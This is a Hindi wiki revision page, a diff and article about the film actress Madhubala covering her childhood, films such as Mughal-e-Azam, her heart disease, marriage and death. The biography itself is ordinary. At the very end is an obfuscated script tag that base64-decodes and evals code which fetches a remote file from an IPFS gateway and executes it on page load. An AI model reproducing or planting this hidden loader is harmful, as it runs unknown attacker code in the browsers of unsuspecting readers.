मधुबाला: Difference between revisions
[unchecked revision] | [unchecked revision] |
प्रीति चौधरी (talk | contribs) No edit summary |
प्रीति चौधरी (talk | contribs) No edit summary |
||
Line 32: | Line 32: | ||
|अद्यतन={{अद्यतन|14:00, 29 सितम्बर 2011 (IST)}} | |अद्यतन={{अद्यतन|14:00, 29 सितम्बर 2011 (IST)}} | ||
}} | }} | ||
मधुबाला [मुमताज जहाँ बेगम देहलवी] ([[अंग्रेज़ी भाषा|अंग्रेज़ी]] Madhubala, [[उर्दू भाषा|उर्दू]]:مدھو بال) (जन्म- [[14 फरवरी]] 1933 [[दिल्ली]], मृत्यु- [[23 फरवरी]] 1969 [[मुम्बई]], [[महाराष्ट्र]]) एक प्रसिद्ध भारतीय फ़िल्म अभिनेत्री हैं। मधुबाला भारतीय फ़िल्म इतिहास की सर्वश्रेष्ठ अभिनेत्रियों में से एक हैं। [[मुग़ल ए आज़म]], हावडा ब्रिज, काला पानी तथा चलती का नाम गाडी जैसी फ़िल्में आज भी सिनेप्रेमियों के दिल के काफी करीब है। | मधुबाला [मुमताज जहाँ बेगम देहलवी] ([[अंग्रेज़ी भाषा|अंग्रेज़ी]] Madhubala, [[उर्दू भाषा|उर्दू]]:مدھو بال) (जन्म- [[14 फरवरी]] 1933 [[दिल्ली]], मृत्यु- [[23 फरवरी]] 1969 [[मुम्बई]], [[महाराष्ट्र]]) एक प्रसिद्ध भारतीय फ़िल्म [[अभिनेत्री]] हैं। मधुबाला भारतीय फ़िल्म इतिहास की सर्वश्रेष्ठ अभिनेत्रियों में से एक हैं। [[मुग़ल ए आज़म]], हावडा ब्रिज, काला पानी तथा चलती का नाम गाडी जैसी फ़िल्में आज भी सिनेप्रेमियों के दिल के काफी करीब है। | ||
==जीवन परिचय== | ==जीवन परिचय== | ||
Line 39: | Line 39: | ||
==अभिनय की शुरुआत== | ==अभिनय की शुरुआत== | ||
बचपन के दिनों से ही मधुबाला अभिनेत्री बनने का सपना देखा करती थी। सबसे पहले वर्ष 1942 में मधुबाला को बतौर बाल कलाकार बेबी मुमताज के नाम से फ़िल्म बसंत में काम करने का मौका मिला। बेबी मुमताज के अभिनय से प्रभावित होकर [[हिन्दी]] फ़िल्मों की जानी-मानी अभिनेत्री देविका रानी ने उनसे अपने बैनर बाम्बे टाकीज की फ़िल्म ज्वार भाटा में काम करने की पेशकश की लेकिन मधुबाला उस फ़िल्म मे काम नही कर सकी। मधुबाला को फ़िल्म अभिनेत्री के रूप में पहचान निर्माता निर्देशक केदार शर्मा की वर्ष 1947 मे प्रदर्शित फ़िल्म नील कमल से मिली इस फ़िल्म के असफल होने से भले ही वह कुछ खास पहचान नही बना पायीं लेकिन बतौर अभिनेत्री उनका सिने कैरियर अवश्य शुरू हो गया। | बचपन के दिनों से ही मधुबाला अभिनेत्री बनने का सपना देखा करती थी। सबसे पहले वर्ष 1942 में मधुबाला को बतौर बाल कलाकार बेबी मुमताज के नाम से फ़िल्म बसंत में काम करने का मौका मिला। बेबी मुमताज के अभिनय से प्रभावित होकर [[हिन्दी]] फ़िल्मों की जानी-मानी अभिनेत्री देविका रानी ने उनसे अपने बैनर बाम्बे टाकीज की फ़िल्म ज्वार भाटा में काम करने की पेशकश की लेकिन मधुबाला उस फ़िल्म मे काम नही कर सकी। मधुबाला को फ़िल्म अभिनेत्री के रूप में पहचान निर्माता निर्देशक केदार शर्मा की वर्ष 1947 मे प्रदर्शित फ़िल्म नील कमल से मिली इस फ़िल्म के असफल होने से भले ही वह कुछ खास पहचान नही बना पायीं लेकिन बतौर अभिनेत्री उनका सिने कैरियर अवश्य शुरू हो गया। | ||
[[चित्र:Madhubala.jpg|thumb|2000px|मधुबाला के सम्मान में जारी डाक|left]] | [[चित्र:Madhubala.jpg|thumb|2000px|मधुबाला के सम्मान में जारी [[डाक टिकट]]|left]] | ||
====सफलता==== | ====सफलता==== | ||
वर्ष 1949 तक मधुबाला की कई फ़िल्में प्रदर्शित हुई लेकिन इनसे मधुबाला को कुछ खास फायदा नही हुआ। वर्ष 1949 मे बॉम्बे टाकीज के बैनर तले बनी फ़िल्म महल की कामयाबी के बाद मधुबाला फ़िल्म इंडस्ट्री मे अपनी पहचान बनाने में सफल हो गयीं। इस फ़िल्म का एक गीत आयेगा आने वाला.. सिने दर्शक आज भी नही भूल पाये है। वर्ष 1950 से 1957 तक का वक्त मधुबाला के सिने कैरियर के लिये बुरा साबित हुआ। इस दौरान उनकी कई फ़िल्में बॉक्स ऑफिस पर असफल हो गयीं। लेकिन वर्ष 1958 में उनकी फागुन, हावडा ब्रिज, काला पानी तथा चलती का नाम गाड़ी की सफलता ने एक बार फिर मधुबाला को शोहरत की बुंलदियों पर पहुँचा दिया। फ़िल्म हावड़ाब्रिज में मधुबाला ने क्लब डांसर की भूमिका अदा कर दर्शकों का मन मोह लिया। इसके साथ ही वर्ष 1958 में हीं प्रदर्शित फ़िल्म चलती का नाम गाड़ी में उन्होंने अपने कॉमिक अभिनय से दर्शकों को हंसाते-हंसाते लोटपोट कर दिया। | वर्ष 1949 तक मधुबाला की कई फ़िल्में प्रदर्शित हुई लेकिन इनसे मधुबाला को कुछ खास फायदा नही हुआ। वर्ष 1949 मे बॉम्बे टाकीज के बैनर तले बनी फ़िल्म महल की कामयाबी के बाद मधुबाला फ़िल्म इंडस्ट्री मे अपनी पहचान बनाने में सफल हो गयीं। इस फ़िल्म का एक गीत आयेगा आने वाला.. सिने दर्शक आज भी नही भूल पाये है। वर्ष 1950 से 1957 तक का वक्त मधुबाला के सिने कैरियर के लिये बुरा साबित हुआ। इस दौरान उनकी कई फ़िल्में बॉक्स ऑफिस पर असफल हो गयीं। लेकिन वर्ष 1958 में उनकी फागुन, हावडा ब्रिज, काला पानी तथा चलती का नाम गाड़ी की सफलता ने एक बार फिर मधुबाला को शोहरत की बुंलदियों पर पहुँचा दिया। फ़िल्म हावड़ाब्रिज में मधुबाला ने क्लब डांसर की भूमिका अदा कर दर्शकों का मन मोह लिया। इसके साथ ही वर्ष 1958 में हीं प्रदर्शित फ़िल्म चलती का नाम गाड़ी में उन्होंने अपने कॉमिक अभिनय से दर्शकों को हंसाते-हंसाते लोटपोट कर दिया। |
Revision as of 06:54, 30 September 2011
चित्र:Icon-edit.gif | इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
मधुबाला
| |
पूरा नाम | मुमताज जहाँ बेगम देहलवी |
प्रसिद्ध नाम | मधुबाला |
जन्म | 14 फरवरी 1933 |
जन्म भूमि | दिल्ली |
मृत्यु | 23 फरवरी 1969 |
मृत्यु स्थान | मुम्बई, महाराष्ट्र |
पति/पत्नी | किशोर कुमार |
कर्म भूमि | मुम्बई, महाराष्ट्र |
कर्म-क्षेत्र | अभिनेत्री |
मुख्य फ़िल्में | मुग़ल ए आज़म, हावडा ब्रिज, कालापानी तथा चलती का नाम गाडी। |
नागरिकता | भारतीय |
अद्यतन | 14:00, 29 सितम्बर 2011 (IST)
|
मधुबाला [मुमताज जहाँ बेगम देहलवी] (अंग्रेज़ी Madhubala, उर्दू:مدھو بال) (जन्म- 14 फरवरी 1933 दिल्ली, मृत्यु- 23 फरवरी 1969 मुम्बई, महाराष्ट्र) एक प्रसिद्ध भारतीय फ़िल्म अभिनेत्री हैं। मधुबाला भारतीय फ़िल्म इतिहास की सर्वश्रेष्ठ अभिनेत्रियों में से एक हैं। मुग़ल ए आज़म, हावडा ब्रिज, काला पानी तथा चलती का नाम गाडी जैसी फ़िल्में आज भी सिनेप्रेमियों के दिल के काफी करीब है।
जीवन परिचय
सिने जगत में मधुबाला के नाम से मशहूर महान अभिनेत्री मुमताज जहाँ बेगम देहलवी का जन्म दिल्ली शहर के मध्य वर्गीय मुस्लिम परिवार में 14 फरवरी 1933 को हुआ था। मधुबाला अपने माता-पिता की 5वीं सन्तान थी। उनके माता-पिता के कुल 11 बच्चे थे। मधुबाला के पिता अताउल्लाह ख़ान दिल्ली में एक कोचमैन के रूप मे कार्यरत थे। मधुबाला के जन्म के कुछ समय बाद उनका परिवार दिल्ली से मुम्बई आ गया।
अभिनय की शुरुआत
बचपन के दिनों से ही मधुबाला अभिनेत्री बनने का सपना देखा करती थी। सबसे पहले वर्ष 1942 में मधुबाला को बतौर बाल कलाकार बेबी मुमताज के नाम से फ़िल्म बसंत में काम करने का मौका मिला। बेबी मुमताज के अभिनय से प्रभावित होकर हिन्दी फ़िल्मों की जानी-मानी अभिनेत्री देविका रानी ने उनसे अपने बैनर बाम्बे टाकीज की फ़िल्म ज्वार भाटा में काम करने की पेशकश की लेकिन मधुबाला उस फ़िल्म मे काम नही कर सकी। मधुबाला को फ़िल्म अभिनेत्री के रूप में पहचान निर्माता निर्देशक केदार शर्मा की वर्ष 1947 मे प्रदर्शित फ़िल्म नील कमल से मिली इस फ़िल्म के असफल होने से भले ही वह कुछ खास पहचान नही बना पायीं लेकिन बतौर अभिनेत्री उनका सिने कैरियर अवश्य शुरू हो गया। [[चित्र:Madhubala.jpg|thumb|2000px|मधुबाला के सम्मान में जारी डाक टिकट|left]]
सफलता
वर्ष 1949 तक मधुबाला की कई फ़िल्में प्रदर्शित हुई लेकिन इनसे मधुबाला को कुछ खास फायदा नही हुआ। वर्ष 1949 मे बॉम्बे टाकीज के बैनर तले बनी फ़िल्म महल की कामयाबी के बाद मधुबाला फ़िल्म इंडस्ट्री मे अपनी पहचान बनाने में सफल हो गयीं। इस फ़िल्म का एक गीत आयेगा आने वाला.. सिने दर्शक आज भी नही भूल पाये है। वर्ष 1950 से 1957 तक का वक्त मधुबाला के सिने कैरियर के लिये बुरा साबित हुआ। इस दौरान उनकी कई फ़िल्में बॉक्स ऑफिस पर असफल हो गयीं। लेकिन वर्ष 1958 में उनकी फागुन, हावडा ब्रिज, काला पानी तथा चलती का नाम गाड़ी की सफलता ने एक बार फिर मधुबाला को शोहरत की बुंलदियों पर पहुँचा दिया। फ़िल्म हावड़ाब्रिज में मधुबाला ने क्लब डांसर की भूमिका अदा कर दर्शकों का मन मोह लिया। इसके साथ ही वर्ष 1958 में हीं प्रदर्शित फ़िल्म चलती का नाम गाड़ी में उन्होंने अपने कॉमिक अभिनय से दर्शकों को हंसाते-हंसाते लोटपोट कर दिया।
स्वास्थ्य
पचास के दशक मे स्वास्थ्य परीक्षण के दौरान मधुबाला को यह अहसास हुआ कि वह हृदय की बीमारी से ग्रसित हो चुकी है। इस दौरान उनकी कई फ़िल्में निर्माण के दौर में थी। मधुबाला को लगा यदि उनकी बीमारी के बारे में फ़िल्म इंडस्ट्री को पता चल जायेगा तो इससे फ़िल्म निर्माता को नुकसान होगा इसलिये उन्होंने यह बात किसी को नही बतायी। के.आसिफ की फ़िल्म मुग़ल ए आज़म के निर्माण मे लगभग दस वर्ष लग गये। इस दौरान मधुबाला की तबीयत काफी खराब रहा करती थी फिर भी उन्होंने फ़िल्म की शूटिंग जारी रखी क्योंकि मधुबाला का मानना था कि अनारकली के किरदार को निभाने का मौका बार-बार नहीं मिल पाता है। वर्ष 1960 में जब मुग़ल ए आज़म प्रदर्शित हुयी तो फ़िल्म में मधुबाला के अभिनय को देख दर्शक मुग्ध हो गये। हालांकि बदकिस्मती से इस फ़िल्म के लिये मधुबाला को सर्वश्रेष्ठ अभिनेत्री का फ़िल्म फेयर पुरस्कार नही मिला लेकिन सिने दर्शक आज भी ऐसा मानते है कि मधुबाला उस वर्ष फ़िल्म फेयर पुरस्कार की हकदार थी।
वर्ष | फ़िल्म का नाम |
---|
विवाह
साठ के दशक में मधुबाला ने फ़िल्मों मे काम करना काफी हद तक कम कर दिया था। चलती का नाम गाड़ी और झुमरू के निर्माण के दौरान ही मधुबाला किशोर कुमार के काफी करीब आ गयी थीं। मधुबाला के पिता ने किशोर कुमार को सूचित किया कि मधुबाला इलाज के लिये लंदन जा रही है और लंदन से आने के बाद ही उनसे शादी कर पायेगी। लेकिन मधुबाला को यह अहसास हुआ कि शायद लंदन में हो रहे आपरेशन के बाद वह जिंदा नहीं रह पाये और यह बात उन्होंने किशोर कुमार को बतायी इसके बाद मधुबाला की इच्छा को पूरा करने के लिये किशोर कुमार ने मधुबाला से शादी कर ली। शादी के बाद मधुबाला की तबीयत और ज्यादा खराब रहने लगी हालांकि इस बीच उनकी पासपोर्ट (1961), झुमरू (1961) ब्वॉय फ्रेंड (1961), हाफ टिकट (1962) और शराबी (1964) जैसी कुछ फ़िल्में प्रदर्शित हुई। वर्ष 1964 में एक बार फिर से मधुबाला ने फ़िल्म इंडस्ट्री की ओर रुख किया। लेकिन फ़िल्म चालाक के पहले दिन की शूटिंग में मधुबाला बेहोश हो गयी और बाद में यह फ़िल्म बंद कर देनी पड़ी।
मृत्यु
अपनी दिलकश अदाओं से लगभग दो दशक तक सिने प्रेमियों को मदहोश करने वाली महान अभिनेत्री मधुबाला ने मुम्बई में 23 फरवरी 1969 को इस दुनिया से अलविदा कह दिया।[2]
|
|
|
|
|
-
मधुबाला
-
मधुबाला (अनारकली) और दिलीप कुमार (सलीम)
-
मधुबाला, मुग़ल ए आज़म
टीका टिप्पणी और संदर्भ
- ↑ मधुबाला - एक अपूर्व आकर्षक अभिनेत्री (हिन्दी) (पी.एच.पी) हिन्दी वेबसाइट। अभिगमन तिथि: 29 सितम्बर, 2011।
- ↑ दिलकश अदाओं की मलिका मधुबाला (हिन्दी) (एच.टी.एम.एल) जागरण। अभिगमन तिथि: 29 सितम्बर, 2011।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>